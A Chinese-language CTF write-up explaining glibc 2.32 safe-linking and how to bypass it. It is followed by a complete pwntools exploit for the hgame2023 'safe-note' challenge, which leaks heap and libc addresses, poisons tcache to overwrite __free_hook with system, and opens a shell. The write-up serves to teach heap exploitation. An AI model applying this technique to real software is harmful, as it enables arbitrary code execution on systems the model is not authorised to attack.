safe-linking

hgame碰到的,之前写源码分析的时候就注意到了但没细看,结果立马就碰见了(挺玄学)。那就来仔细分析下这个东西(ง •_•)ง

原理

2.32增加了单链表的保护机制,对fastbin和tcache的fd指针进行了运算,相关源码如下:

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

变化就是fd成员的内容从下一个chunk的地址ptr变成ptr^(&ptr>>12)(亦或移位操作后的所存地址)

1
2
3
4
  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
//e->next = tcache->entries[tc_idx];(2.31源码)

tcache->entries[tc_idx] = REVEAL_PTR (e->next);

利用

在有uaf的情况下我们可以泄露出e->next,但最初tcache链表是空的,及tcache->entries[tc_idx] = 0,设e为放入tcache的tcache_entry,那e->next = (&e->next>>12)^0 = &e->next>>12
已知chunk地址和heap基址的偏移我们可以通过泄露出来的值确定heap的基址,这意味着&e->next的值之后都是已知的

例题hgame2023 week3 safe-note

思路

还是uaf(一个uaf出了两星期也是醉了,我看这个文件都快看吐了)

  • 先按上文所说泄露heap基址(fd<<12就是heap基址)

  • 然后老套路unsorted bin泄露libc基址

  • 再申请然后释放两个另外大小的chunk(tcache有chunk数量的检测),更改chunk1的fd为

    1
    (&chunk1->fd>>12)^&__free_hook
  • 然后就是老套路了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(index,size):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(size).encode())
def delete(index):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
def edit(index,content):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendafter(b'Content: ',content)
def show(index):
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'Index: ',str(index).encode())
def pack(pos, ptr):
return (pos >> 12) ^ ptr

p=process('./safe')
#p=remote('week-3.hgame.lwsec.cn',32629)
#gdb.attach(p)
libc=ELF('./2.32-0ubuntu3.2_amd64/libc-2.32.so')

add(0,0x10)
delete(0)
show(0)
s=(p.recvuntil(b'\n')[:-1]).ljust(8,b'\x00')
heap=u64(s)<<12
for i in range(2,11):
add(i,0xf0)
for i in range(2,10):
delete(i)
edit(9,b'\n')
show(9)
p.recvuntil(b'\n')
s=(b'\n'+p.recvuntil(b'\n')[:-1]).ljust(8,b'\x00')
libcbase=u64(s)-libc.symbols['__malloc_hook']-0xc0a+0xb90
print(hex(libcbase))
print(hex(heap))
system_addr=libcbase+libc.symbols['system']
free_hook=libcbase+libc.symbols['__free_hook']
edit(9,b'\x00')
add(11, 0x20)
add(12, 0x20)
delete(12)
delete(11)
#gdb.attach(p)
edit(11, p64(pack(heap + 0x290+0x9b0+0x10, free_hook)))
add(13, 0x20)
edit(13,b'/bin/sh\x00')
add(14, 0x20)
edit(14,p64(system_addr))
delete(13)
p.interactive()

safe-linking
http://akaieurus.github.io/2023/01/25/safe-linking/
作者
Eurus
发布于
2023年1月25日
许可协议